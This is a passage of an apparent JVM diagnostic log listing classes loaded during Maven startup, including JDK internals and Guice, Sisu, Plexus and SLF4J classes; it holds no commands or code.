java/util/Comparator$$Lambda$53\ninstanceKlass java/util/Comparator$$Lambda$52\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$51\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$50\ninstanceKlass java/util/Comparator$$Lambda$49\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$48\ninstanceKlass com/google/inject/internal/DeclaredMembers\ninstanceKlass com/google/common/base/ExtraObjectsMethodsForWeb\ninstanceKlass com/google/common/collect/ImmutableMap$Builder\ninstanceKlass com/google/inject/internal/MoreTypes\ninstanceKlass com/google/inject/multibindings/ProvidesIntoOptional\ninstanceKlass com/google/inject/multibindings/ProvidesIntoMap\ninstanceKlass com/google/inject/multibindings/ProvidesIntoSet\ninstanceKlass com/google/inject/Provides\ninstanceKlass javax/inject/Singleton\ninstanceKlass com/google/inject/spi/ElementSource\ninstanceKlass com/google/inject/spi/ScopeBinding\ninstanceKlass com/google/inject/Scopes$2\ninstanceKlass com/google/inject/Scopes$1\ninstanceKlass com/google/inject/internal/SingletonScope\ninstanceKlass com/google/inject/Scopes\ninstanceKlass com/google/inject/Singleton\ninstanceKlass com/google/inject/spi/Elements$ModuleInfo\ninstanceKlass com/google/inject/PrivateModule\ninstanceKlass java/util/stream/Collectors$$Lambda$47\ninstanceKlass java/util/stream/Collectors$$Lambda$46\ninstanceKlass java/util/stream/Collectors$$Lambda$45\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$PermitMapConstruction$$Lambda$44\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$$Lambda$43\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$$Lambda$42\ninstanceKlass java/util/stream/Streams$2\ninstanceKlass java/util/stream/Streams$ConcatSpliterator\ninstanceKlass sun/reflect/annotation/AnnotatedTypeFactory$AnnotatedTypeBaseImpl\ninstanceKlass java/lang/reflect/AnnotatedType\ninstanceKlass sun/reflect/annotation/AnnotatedTypeFactory\ninstanceKlass sun/reflect/annotation/TypeAnnotation$LocationInfo$Location\ninstanceKlass sun/reflect/annotation/TypeAnnotation$LocationInfo\ninstanceKlass sun/reflect/generics/tree/ClassSignature\ninstanceKlass sun/reflect/generics/tree/Signature\ninstanceKlass sun/reflect/generics/tree/ClassTypeSignature\ninstanceKlass sun/reflect/generics/tree/SimpleClassTypeSignature\ninstanceKlass sun/reflect/generics/tree/FieldTypeSignature\ninstanceKlass sun/reflect/generics/tree/BaseType\ninstanceKlass sun/reflect/generics/tree/TypeSignature\ninstanceKlass sun/reflect/generics/tree/ReturnType\ninstanceKlass sun/reflect/generics/tree/TypeArgument\ninstanceKlass sun/reflect/generics/tree/FormalTypeParameter\ninstanceKlass sun/reflect/generics/tree/TypeTree\ninstanceKlass sun/reflect/generics/tree/Tree\ninstanceKlass sun/reflect/generics/parser/SignatureParser\ninstanceKlass sun/reflect/generics/repository/AbstractRepository\ninstanceKlass sun/reflect/annotation/TypeAnnotation\ninstanceKlass sun/reflect/annotation/TypeAnnotationParser\ninstanceKlass java/lang/Class$AnnotationData\ninstanceKlass com/google/inject/RestrictedBindingSource\ninstanceKlass com/google/inject/spi/BindingSourceRestriction\ninstanceKlass com/google/inject/spi/ModuleSource\ninstanceKlass com/google/inject/internal/ProviderMethodsModule\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$PermitMapConstruction$PermitMapImpl\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$PermitMap\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$PermitMapConstruction\ninstanceKlass com/google/common/collect/Hashing\ninstanceKlass com/google/common/math/IntMath$1\ninstanceKlass com/google/common/math/MathPreconditions\ninstanceKlass com/google/common/math/IntMath\ninstanceKlass com/google/inject/internal/AbstractBindingBuilder\ninstanceKlass com/google/inject/binder/ConstantBindingBuilder\ninstanceKlass com/google/inject/binder/AnnotatedElementBuilder\ninstanceKlass com/google/inject/spi/Elements$RecordingBinder\ninstanceKlass com/google/inject/Binding\ninstanceKlass com/google/inject/spi/DefaultBindingTargetVisitor\ninstanceKlass com/google/inject/spi/BindingTargetVisitor\ninstanceKlass com/google/inject/spi/Elements\ninstanceKlass com/google/inject/internal/InjectorShell$RootModule\ninstanceKlass com/google/common/collect/ListMultimap\ninstanceKlass com/google/inject/internal/InjectorBindingData\ninstanceKlass java/util/concurrent/atomic/AtomicReferenceArray\ninstanceKlass java/util/concurrent/Future\ninstanceKlass com/google/common/cache/LocalCache$LoadingValueReference\ninstanceKlass java/util/concurrent/ConcurrentLinkedQueue$Node\ninstanceKlass com/google/common/cache/Weigher\ninstanceKlass com/google/common/base/Predicate\ninstanceKlass com/google/common/base/Equivalence\ninstanceKlass java/util/function/BiPredicate\ninstanceKlass com/google/common/base/MoreObjects\ninstanceKlass com/google/common/cache/LocalCache$1\ninstanceKlass com/google/common/cache/ReferenceEntry\ninstanceKlass com/google/common/cache/CacheLoader\ninstanceKlass com/google/common/cache/LocalCache$LocalManualCache\ninstanceKlass com/google/inject/internal/WeakKeySet$$Lambda$41\ninstanceKlass com/google/common/cache/RemovalListener\ninstanceKlass java/util/AbstractMap$SimpleImmutableEntry\ninstanceKlass com/google/common/cache/LocalCache$ValueReference\ninstanceKlass com/google/common/cache/CacheBuilder$2\ninstanceKlass com/google/common/cache/CacheStats\ninstanceKlass com/google/common/base/Suppliers$SupplierOfInstance\ninstanceKlass com/google/common/base/Suppliers\ninstanceKlass com/google/common/cache/CacheBuilder$1\ninstanceKlass com/google/common/cache/AbstractCache$StatsCounter\ninstanceKlass com/google/common/cache/LoadingCache\ninstanceKlass com/google/common/cache/Cache\ninstanceKlass com/google/common/base/Supplier\ninstanceKlass com/google/common/cache/CacheBuilder\ninstanceKlass com/google/inject/internal/WeakKeySet\ninstanceKlass com/google/common/collect/Sets\ninstanceKlass com/google/inject/internal/InjectorJitBindingData\ninstanceKlass com/google/inject/internal/ProcessedBindingData\ninstanceKlass com/google/inject/spi/DefaultElementVisitor\ninstanceKlass com/google/inject/internal/InjectorShell$Builder\ninstanceKlass com/google/common/collect/Lists\ninstanceKlass com/google/common/collect/AbstractMapEntry\ninstanceKlass com/google/common/collect/LinkedHashMultimap$ValueSetLink\ninstanceKlass com/google/common/collect/CollectPreconditions\ninstanceKlass java/lang/StrictMath\ninstanceKlass com/google/common/collect/Platform\ninstanceKlass com/google/common/collect/Multiset\ninstanceKlass com/google/common/collect/AbstractMultimap\ninstanceKlass com/google/common/collect/SetMultimap\ninstanceKlass com/google/common/collect/Maps$EntryTransformer\ninstanceKlass com/google/common/collect/BiMap\ninstanceKlass com/google/common/base/Converter\ninstanceKlass com/google/common/base/Function\ninstanceKlass com/google/common/collect/ImmutableMap\ninstanceKlass com/google/common/collect/SortedMapDifference\ninstanceKlass com/google/common/collect/MapDifference\ninstanceKlass com/google/common/collect/Maps\ninstanceKlass com/google/inject/internal/CycleDetectingLock\ninstanceKlass com/google/common/collect/Multimap\ninstanceKlass com/google/inject/internal/CycleDetectingLock$CycleDetectingLockFactory\ninstanceKlass com/google/inject/internal/Initializable\ninstanceKlass com/google/inject/internal/Initializer\ninstanceKlass com/google/common/collect/PeekingIterator\ninstanceKlass com/google/common/collect/UnmodifiableIterator\ninstanceKlass com/google/common/collect/Iterators\ninstanceKlass com/google/common/collect/ImmutableCollection$Builder\ninstanceKlass com/google/common/collect/ImmutableSet$SetBuilderImpl\ninstanceKlass com/google/inject/internal/util/SourceProvider\ninstanceKlass com/google/inject/spi/ErrorDetail\ninstanceKlass com/google/inject/internal/Errors\ninstanceKlass com/google/common/base/Preconditions\ninstanceKlass java/time/Duration\ninstanceKlass java/time/temporal/TemporalAmount\ninstanceKlass java/time/temporal/TemporalUnit\ninstanceKlass java/util/concurrent/TimeUnit$1\ninstanceKlass jdk/internal/logger/DefaultLoggerFinder$1\ninstanceKlass java/util/logging/Logger$SystemLoggerHelper$1\ninstanceKlass java/util/logging/Logger$SystemLoggerHelper\ninstanceKlass java/util/logging/LogManager$4\ninstanceKlass jdk/internal/logger/BootstrapLogger$BootstrapExecutors\ninstanceKlass jdk/internal/logger/BootstrapLogger$RedirectedLoggers\ninstanceKlass java/lang/ModuleLayer$$Lambda$40\ninstanceKlass java/lang/WeakPairMap$Pair$Lookup\ninstanceKlass java/lang/WeakPairMap$Pair\ninstanceKlass java/lang/WeakPairMap\ninstanceKlass java/lang/Module$ReflectionData\ninstanceKlass java/util/Spliterators$1Adapter\ninstanceKlass java/util/Spliterators$ArraySpliterator\ninstanceKlass java/util/Spliterator$OfDouble\ninstanceKlass java/util/Spliterator$OfLong\ninstanceKlass java/util/Spliterator$OfInt\ninstanceKlass java/util/Spliterator$OfPrimitive\ninstanceKlass java/util/Spliterators$EmptySpliterator\ninstanceKlass java/util/Spliterators\ninstanceKlass jdk/internal/logger/BootstrapLogger$DetectBackend$1\ninstanceKlass jdk/internal/logger/BootstrapLogger$DetectBackend\ninstanceKlass jdk/internal/logger/BootstrapLogger\ninstanceKlass sun/util/logging/PlatformLogger$ConfigurableBridge\ninstanceKlass sun/util/logging/PlatformLogger$Bridge\ninstanceKlass java/lang/System$Logger\ninstanceKlass java/util/stream/Streams\ninstanceKlass java/util/stream/Streams$AbstractStreamBuilderImpl\ninstanceKlass java/util/stream/Stream$Builder\ninstanceKlass java/util/stream/Sink$ChainedReference\ninstanceKlass java/util/stream/FindOps$FindSink$OfRef$$Lambda$39\ninstanceKlass java/util/stream/FindOps$FindSink$OfRef$$Lambda$38\ninstanceKlass java/util/stream/FindOps$FindSink$OfRef$$Lambda$37\ninstanceKlass java/util/stream/FindOps$FindSink$OfRef$$Lambda$36\ninstanceKlass java/util/stream/FindOps$FindOp\ninstanceKlass java/util/stream/FindOps$FindSink\ninstanceKlass java/util/stream/FindOps\ninstanceKlass java/util/logging/Level$KnownLevel$$Lambda$35\ninstanceKlass java/util/ArrayList$ArrayListSpliterator\ninstanceKlass java/util/logging/Level$$Lambda$34\ninstanceKlass java/util/Hashtable$Enumerator\ninstanceKlass java/util/logging/LogManager$LoggerContext$1\ninstanceKlass java/util/logging/LogManager$VisitedLoggers\ninstanceKlass java/util/function/Predicate\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass sun/invoke/util/ValueConversions$WrapperCache\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/MethodHandles$1\ninstanceKlass java/lang/Byte$ByteCache\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/ClassValue$Version\ninstanceKlass java/lang/ClassValue$Identity\ninstanceKlass java/lang/ClassValue\ninstanceKlass java/lang/invoke/StringConcatFactory$Stringifiers\ninstanceKlass java/lang/StringConcatHelper\ninstanceKlass java/lang/invoke/StringConcatFactory$MethodHandleInlineCopyStrategy$3\ninstanceKlass java/lang/invoke/StringConcatFactory$MethodHandleInlineCopyStrategy$2\ninstanceKlass java/lang/invoke/StringConcatFactory$MethodHandleInlineCopyStrategy$1\ninstanceKlass java/lang/invoke/StringConcatFactory$MethodHandleInlineCopyStrategy\ninstanceKlass java/lang/invoke/StringConcatFactory$RecipeElement\ninstanceKlass java/lang/invoke/StringConcatFactory$Recipe\ninstanceKlass java/lang/invoke/StringConcatFactory$1\ninstanceKlass java/lang/invoke/StringConcatFactory\ninstanceKlass java/util/logging/LogManager$2\ninstanceKlass java/lang/System$LoggerFinder\ninstanceKlass sun/security/util/SecurityConstants\ninstanceKlass java/security/AccessController$1\ninstanceKlass java/util/logging/LogManager$LoggingProviderAccess\ninstanceKlass sun/util/logging/internal/LoggingProviderImpl$LogManagerAccess\ninstanceKlass java/util/Collections$SynchronizedMap\ninstanceKlass java/util/logging/LogManager$LogNode\ninstanceKlass java/util/logging/LogManager$LoggerContext\ninstanceKlass java/util/logging/LogManager$1\ninstanceKlass java/util/logging/LogManager\ninstanceKlass java/util/logging/Logger$ConfigurationData\ninstanceKlass java/util/logging/Logger$LoggerBundle\ninstanceKlass java/util/logging/Level\ninstanceKlass java/util/logging/Handler\ninstanceKlass java/util/logging/Logger\ninstanceKlass com/google/common/base/Ticker\ninstanceKlass com/google/common/base/Stopwatch\ninstanceKlass com/google/inject/internal/util/ContinuousStopwatch\ninstanceKlass com/google/inject/Injector\ninstanceKlass com/google/inject/internal/InternalInjectorCreator\ninstanceKlass com/google/inject/Guice\ninstanceKlass org/eclipse/sisu/wire/Wiring\ninstanceKlass org/eclipse/sisu/wire/WireModule$Strategy$1\ninstanceKlass org/eclipse/sisu/wire/WireModule$Strategy\ninstanceKlass org/eclipse/sisu/wire/AbstractTypeConverter\ninstanceKlass com/google/inject/spi/ElementVisitor\ninstanceKlass org/eclipse/sisu/wire/WireModule\ninstanceKlass org/eclipse/sisu/bean/BeanBinder\ninstanceKlass org/eclipse/sisu/plexus/PlexusBindingModule\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$BootModule\ninstanceKlass org/codehaus/plexus/component/annotations/Configuration\ninstanceKlass org/eclipse/sisu/plexus/PlexusAnnotatedMetadata\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanMetadata\ninstanceKlass org/eclipse/sisu/plexus/PlexusAnnotatedBeanModule$PlexusAnnotatedBeanSource\ninstanceKlass org/eclipse/sisu/space/SpaceModule$2\ninstanceKlass org/eclipse/sisu/space/SpaceModule$Strategy$2\ninstanceKlass org/eclipse/sisu/space/SpaceModule$Strategy$1\ninstanceKlass org/eclipse/sisu/space/DefaultClassFinder\ninstanceKlass org/eclipse/sisu/space/asm/ClassVisitor\ninstanceKlass org/eclipse/sisu/space/SpaceScanner\ninstanceKlass org/eclipse/sisu/space/IndexedClassFinder\ninstanceKlass org/eclipse/sisu/space/ClassFinder\ninstanceKlass org/eclipse/sisu/space/SpaceModule\ninstanceKlass org/eclipse/sisu/space/SpaceVisitor\ninstanceKlass org/eclipse/sisu/plexus/PlexusTypeListener\ninstanceKlass org/eclipse/sisu/space/QualifiedTypeListener\ninstanceKlass org/eclipse/sisu/plexus/PlexusAnnotatedBeanModule$1\ninstanceKlass org/eclipse/sisu/space/SpaceModule$Strategy\ninstanceKlass org/eclipse/sisu/plexus/PlexusAnnotatedBeanModule\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanSource\ninstanceKlass org/eclipse/sisu/plexus/PlexusXmlBeanModule\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanModule\ninstanceKlass org/eclipse/sisu/space/URLClassSpace\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$SLF4JLoggerFactoryProvider\ninstanceKlass com/google/inject/util/Providers$ConstantProvider\ninstanceKlass com/google/inject/util/Providers\ninstanceKlass org/codehaus/plexus/personality/plexus/lifecycle/phase/Disposable\ninstanceKlass org/codehaus/plexus/personality/plexus/lifecycle/phase/Startable\ninstanceKlass org/codehaus/plexus/personality/plexus/lifecycle/phase/Initializable\ninstanceKlass org/codehaus/plexus/personality/plexus/lifecycle/phase/Contextualizable\ninstanceKlass org/codehaus/plexus/logging/LogEnabled\ninstanceKlass org/eclipse/sisu/bean/PropertyBinding\ninstanceKlass javax/annotation/PreDestroy\ninstanceKlass javax/annotation/PostConstruct\ninstanceKlass org/eclipse/sisu/bean/LifecycleBuilder\ninstanceKlass org/eclipse/sisu/bean/BeanScheduler$1\ninstanceKlass com/google/inject/spi/DefaultBindingScopingVisitor\ninstanceKlass com/google/inject/spi/BindingScopingVisitor\ninstanceKlass org/eclipse/sisu/bean/BeanScheduler$CycleActivator\ninstanceKlass com/google/inject/PrivateBinder\ninstanceKlass com/google/inject/MembersInjector\ninstanceKlass com/google/inject/spi/TypeListener\ninstanceKlass org/aopalliance/intercept/MethodInterceptor\ninstanceKlass org/aopalliance/intercept/Interceptor\ninstanceKlass org/aopalliance/aop/Advice\ninstanceKlass com/google/inject/spi/Message\ninstanceKlass com/google/inject/spi/Element\ninstanceKlass com/google/inject/binder/AnnotatedConstantBindingBuilder\ninstanceKlass com/google/inject/Scope\ninstanceKlass com/google/inject/spi/ModuleAnnotatedMethodScanner\ninstanceKlass com/google/inject/spi/Dependency\ninstanceKlass com/google/inject/Key\ninstanceKlass com/google/inject/binder/AnnotatedBindingBuilder\ninstanceKlass com/google/inject/binder/LinkedBindingBuilder\ninstanceKlass com/google/inject/binder/ScopedBindingBuilder\ninstanceKlass com/google/inject/TypeLiteral\ninstanceKlass com/google/inject/spi/ProvisionListener\ninstanceKlass com/google/inject/Binder\ninstanceKlass org/eclipse/sisu/bean/BeanScheduler\ninstanceKlass org/eclipse/sisu/plexus/DefaultPlexusBeanLocator\ninstanceKlass org/eclipse/sisu/plexus/RealmManager\ninstanceKlass org/codehaus/plexus/context/ContextMapAdapter\ninstanceKlass org/codehaus/plexus/context/DefaultContext\ninstanceKlass org/codehaus/plexus/logging/AbstractLogger\ninstanceKlass org/codehaus/plexus/logging/AbstractLoggerManager\ninstanceKlass java/util/Date\ninstanceKlass java/text/DigitList\ninstanceKlass java/text/FieldPosition\ninstanceKlass sun/util/locale/provider/JRELocaleProviderAdapter$$Lambda$33\ninstanceKlass java/text/DecimalFormatSymbols\ninstanceKlass sun/util/locale/provider/JRELocaleProviderAdapter$$Lambda$32\ninstanceKlass sun/util/locale/provider/JRELocaleProviderAdapter$$Lambda$31\ninstanceKlass java/text/DateFormatSymbols\ninstanceKlass sun/util/calendar/CalendarUtils\ninstanceKlass sun/util/calendar/CalendarDate\ninstanceKlass sun/util/resources/Bundles$CacheKeyReference\ninstanceKlass java/util/ResourceBundle$ResourceBundleProviderHelper$$Lambda$30\ninstanceKlass java/util/ResourceBundle$ResourceBundleProviderHelper\ninstanceKlass sun/util/resources/Bundles$CacheKey\ninstanceKlass java/util/ResourceBundle$1\ninstanceKlass jdk/internal/misc/JavaUtilResourceBundleAccess\ninstanceKlass sun/util/resources/Bundles\ninstanceKlass sun/util/resources/LocaleData$LocaleDataStrategy\ninstanceKlass sun/util/resources/Bundles$Strategy\ninstanceKlass sun/util/resources/LocaleData$1\ninstanceKlass sun/util/cldr/CLDRLocaleProviderAdapter$$Lambda$29\ninstanceKlass sun/util/locale/provider/CalendarDataUtility$CalendarWeekParameterGetter\ninstanceKlass sun/util/locale/provider/LocaleServiceProviderPool$LocalizedObjectGetter\ninstanceKlass sun/util/locale/provider/LocaleServiceProviderPool\ninstanceKlass sun/util/locale/provider/CalendarDataUtility\ninstanceKlass sun/util/calendar/CalendarSystem\ninstanceKlass java/util/Calendar$Builder\ninstanceKlass java/util/StringTokenizer\ninstanceKlass sun/util/locale/provider/AvailableLanguageTags\ninstanceKlass sun/util/locale/provider/JRELocaleProviderAdapter$$Lambda$28\ninstanceKlass java/util/ServiceLoader$ProviderImpl\ninstanceKlass java/util/ServiceLoader$Provider\ninstanceKlass java/util/ServiceLoader$1\ninstanceKlass sun/util/resources/cldr/provider/CLDRLocaleDataMetaInfo\ninstanceKlass jdk/internal/module/ModulePatcher$PatchedModuleReader\ninstanceKlass java/util/ServiceLoader$3\ninstanceKlass java/util/ServiceLoader$2\ninstanceKlass java/util/ServiceLoader$LazyClassPathLookupIterator\ninstanceKlass java/util/concurrent/CopyOnWriteArrayList$COWIterator\ninstanceKlass jdk/internal/loader/AbstractClassLoaderValue$Memoizer\ninstanceKlass java/util/ServiceLoader$ModuleServicesLookupIterator\ninstanceKlass java/util/ServiceLoader\ninstanceKlass sun/util/cldr/CLDRLocaleProviderAdapter$1\ninstanceKlass sun/util/locale/StringTokenIterator\ninstanceKlass sun/util/locale/ParseStatus\ninstanceKlass sun/util/cldr/CLDRBaseLocaleDataMetaInfo\ninstanceKlass sun/util/locale/provider/LocaleDataMetaInfo\ninstanceKlass sun/util/locale/provider/LocaleProviderAdapter$1\ninstanceKlass java/util/ResourceBundle\ninstanceKlass java/util/ResourceBundle$Control\ninstanceKlass sun/util/resources/LocaleData\ninstanceKlass sun/util/locale/provider/LocaleResources\ninstanceKlass sun/util/locale/LanguageTag\ninstanceKlass sun/util/locale/provider/ResourceBundleBasedAdapter\ninstanceKlass sun/util/locale/provider/LocaleProviderAdapter\ninstanceKlass java/util/spi/LocaleServiceProvider\ninstanceKlass java/util/zip/Checksum$1\ninstanceKlass java/util/zip/CRC32\ninstanceKlass java/util/zip/Checksum\ninstanceKlass sun/util/calendar/ZoneInfoFile$ZoneOffsetTransitionRule\ninstanceKlass sun/util/calendar/ZoneInfoFile$1\ninstanceKlass sun/util/calendar/ZoneInfoFile\ninstanceKlass java/util/TimeZone\ninstanceKlass java/util/Calendar\ninstanceKlass java/text/AttributedCharacterIterator$Attribute\ninstanceKlass com/google/inject/matcher/AbstractMatcher\ninstanceKlass com/google/inject/matcher/Matcher\ninstanceKlass com/google/inject/spi/TypeConverter\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$LoggerProvider\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$DefaultsModule\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$ContainerModule\ninstanceKlass java/util/concurrent/locks/ReentrantReadWriteLock$WriteLock\ninstanceKlass java/util/concurrent/locks/ReentrantReadWriteLock$ReadLock\ninstanceKlass java/util/concurrent/locks/ReentrantReadWriteLock\ninstanceKlass java/util/concurrent/locks/ReadWriteLock\ninstanceKlass org/eclipse/sisu/inject/ImplicitBindings\ninstanceKlass org/eclipse/sisu/inject/MildValues$InverseMapping\ninstanceKlass org/eclipse/sisu/inject/MildValues\ninstanceKlass org/eclipse/sisu/inject/Weak\ninstanceKlass java/util/concurrent/atomic/AtomicReferenceFieldUpdater$AtomicReferenceFieldUpdaterImpl$1\ninstanceKlass java/util/concurrent/atomic/AtomicReferenceFieldUpdater\ninstanceKlass org/eclipse/sisu/inject/RankedSequence$Content\ninstanceKlass org/eclipse/sisu/inject/RankedSequence\ninstanceKlass org/eclipse/sisu/inject/BindingSubscriber\ninstanceKlass org/eclipse/sisu/inject/DefaultBeanLocator\ninstanceKlass org/eclipse/sisu/inject/DeferredClass\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$LoggerManagerProvider\ninstanceKlass org/eclipse/sisu/inject/DeferredProvider\ninstanceKlass com/google/inject/Provider\ninstanceKlass com/google/inject/AbstractModule\ninstanceKlass org/codehaus/plexus/context/Context\ninstanceKlass org/eclipse/sisu/inject/BindingPublisher\ninstanceKlass org/eclipse/sisu/inject/RankingFunction\ninstanceKlass org/eclipse/sisu/space/ClassSpace\ninstanceKlass javax/inject/Provider\ninstanceKlass org/eclipse/sisu/bean/BeanManager\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanLocator\ninstanceKlass org/codehaus/plexus/classworlds/ClassWorldListener\ninstanceKlass com/google/inject/Module\ninstanceKlass org/eclipse/sisu/inject/MutableBeanLocator\ninstanceKlass org/eclipse/sisu/inject/BeanLocator\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer\ninstanceKlass org/codehaus/plexus/MutablePlexusContainer\ninstanceKlass java/util/stream/ReduceOps$Box\ninstanceKlass java/util/stream/ReduceOps$AccumulatingSink\ninstanceKlass java/util/stream/TerminalSink\ninstanceKlass java/util/stream/Sink\ninstanceKlass java/util/stream/ReduceOps$ReduceOp\ninstanceKlass java/util/stream/TerminalOp\ninstanceKlass java/util/stream/ReduceOps\ninstanceKlass java/util/function/Function$$Lambda$27\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/maven/extension/internal/CoreExports$$Lambda$26\ninstanceKlass java/util/stream/Collectors$$Lambda$25\ninstanceKlass java/util/stream/Collectors$$Lambda$24\ninstanceKlass java/util/function/BinaryOperator\ninstanceKlass java/util/stream/Collectors$$Lambda$23\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/util/stream/Collectors$$Lambda$22\ninstanceKlass java/util/stream/Collectors$CollectorImpl\ninstanceKlass java/util/stream/Collector\ninstanceKlass java/util/stream/Collectors\ninstanceKlass org/apache/maven/extension/internal/CoreExports$$Lambda$21\ninstanceKlass sun/invoke/util/VerifyAccess$1\ninstanceKlass java/util/function/Function$$Lambda$20\ninstanceKlass java/lang/Class$3\ninstanceKlass java/util/EnumMap$1\ninstanceKlass java/util/stream/StreamOpFlag$MaskBuilder\ninstanceKlass java/util/stream/PipelineHelper\ninstanceKlass java/util/stream/Stream\ninstanceKlass java/util/stream/BaseStream\ninstanceKlass java/util/stream/StreamSupport\ninstanceKlass java/util/HashMap$HashMapSpliterator\ninstanceKlass java/util/Spliterator\ninstanceKlass org/apache/maven/extension/internal/CoreExports\ninstanceKlass org/codehaus/plexus/DefaultContainerConfiguration\ninstanceKlass org/codehaus/plexus/ContainerConfiguration\ninstanceKlass org/codehaus/plexus/util/BaseIOUtil\ninstanceKlass org/codehaus/plexus/util/xml/XMLWriter\ninstanceKlass org/codehaus/plexus/util/xml/Xpp3Dom\ninstanceKlass org/codehaus/plexus/util/xml/pull/MXParser\ninstanceKlass org/codehaus/plexus/util/xml/pull/XmlPullParser\ninstanceKlass org/codehaus/plexus/util/xml/Xpp3DomBuilder\ninstanceKlass java/util/regex/ASCII\ninstanceKlass java/util/Locale$1\ninstanceKlass java/util/regex/CharPredicates$$Lambda$19\ninstanceKlass java/util/regex/Pattern$$Lambda$18\ninstanceKlass java/util/regex/Pattern$CharPredicate$$Lambda$17\ninstanceKlass org/codehaus/plexus/util/ReaderFactory\ninstanceKlass org/apache/maven/project/ExtensionDescriptor\ninstanceKlass org/apache/maven/project/ExtensionDescriptorBuilder\ninstanceKlass org/apache/maven/extension/internal/CoreExtensionEntry\ninstanceKlass org/codehaus/plexus/logging/Logger\ninstanceKlass org/apache/maven/cli/logging/Slf4jLoggerManager\ninstanceKlass org/slf4j/impl/MavenSlf4jSimpleFriend\ninstanceKlass org/slf4j/MavenSlf4jFriend\ninstanceKlass org/apache/commons/cli/CommandLine$$Lambda$16\ninstanceKlass org/apache/maven/cli/logging/BaseSlf4jConfiguration\ninstanceKlass org/codehaus/plexus/util/PropertyUtils\ninstanceKlass org/apache/maven/cli/logging/Slf4jConfiguration\ninstanceKlass org/apache/maven/cli/logging/Slf4jConfigurationFactory\ninstanceKlass java/lang/invoke/VarHandle$AccessDescriptor\ninstanceKlass org/slf4j/impl/OutputChoice\ninstanceKlass java/io/FileInputStream$1\ninstanceKlass sun/net/DefaultProgressMeteringPolicy\ninstanceKlass sun/net/ProgressMeteringPolicy\ninstanceKlass sun/net/ProgressMonitor\ninstanceKlass org/slf4j/impl/SimpleLoggerConfiguration$1\ninstanceKlass java/text/Format\ninstanceKlass org/slf4j/impl/SimpleLoggerConfiguration\ninstanceKlass org/slf4j/helpers/NamedLoggerBase\ninstanceKlass org/slf4j/impl/SimpleLoggerFactory\ninstanceKlass org/slf4j/impl/StaticLoggerBinder\ninstanceKlass org/slf4j/spi/LoggerFactoryBinder\ninstanceKlass java/util/Collections$3\ninstanceKlass java/net/URLClassLoader$3$1\ninstanceKlass java/net/URLClassLoader$3\ninstanceKlass jdk/internal/loader/URLClassPath$1\ninstanceKlass java/lang/CompoundEnumeration\ninstanceKlass jdk/internal/loader/BuiltinClassLoader$1\ninstanceKlass java/util/Collections$EmptyEnumeration\ninstanceKlass org/slf4j/helpers/Util\ninstanceKlass org/slf4j/helpers/NOPLoggerFactory\ninstanceKlass java/util/concurrent/LinkedBlockingQueue$Node\ninstanceKlass java/util/concurrent/locks/AbstractQueuedSynchronizer$ConditionObject\ninstanceKlass java/util/concurrent/locks/Condition\ninstanceKlass java/util/concurrent/locks/AbstractQueuedSynchronizer$Node\ninstanceKlass java/util/concurrent/BlockingQueue\ninstanceKlass org/slf4j/helpers/SubstituteLoggerFactory\ninstanceKlass org/slf4j/ILoggerFactory\ninstanceKlass org/slf4j/event/LoggingEvent\ninstanceKlass org/slf4j/LoggerFactory\ninstanceKlass java/util/LinkedList$ListItr\ninstanceKlass org/codehaus/plexus/util/StringUtils\ninstanceKlass org/apache/maven/cli/CLIReportingUtils\ninstanceKlass org/apache/maven/cli/MavenCli$$Lambda$15\ninstanceKlass java/util/function/BiConsumer\ninstanceKlass org/codehaus/plexus/interpolation/SimpleRecursionInterceptor\ninstanceKlass org/codehaus/plexus/interpolation/AbstractValueSource\ninstanceKlass org/codehaus/plexus/interpolation/RecursionInterceptor\ninstanceKlass org/codehaus/plexus/interpolation/StringSearchInterpolator\ninstanceKlass org/codehaus/plexus/interpolation/Interpolator\ninstanceKlass org/codehaus/plexus/interpolation/BasicInterpolator\ninstanceKlass org/apache/maven/properties/internal/SystemProperties\ninstanceKlass java/util/Collections$UnmodifiableMap$UnmodifiableEntrySet$UnmodifiableEntry\ninstanceKlass java/util/Collections$UnmodifiableMap$UnmodifiableEntrySet$1\ninstanceKlass org/codehaus/plexus/util/Os\ninstanceKlass org/apache/maven/properties/internal/EnvironmentUtils\ninstanceKlass java/util/LinkedList$Node\ninstanceKlass java/util/AbstractList$Itr\ninstanceKlass org/apache/commons/cli/DefaultParser\ninstanceKlass org/apache/commons/cli/Util\ninstanceKlass org/apache/commons/cli/CommandLine$Builder$$Lambda$14\ninstanceKlass java/util/function/Consumer\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/commons/cli/CommandLine$Builder\ninstanceKlass org/apache/commons/cli/CommandLine\ninstanceKlass 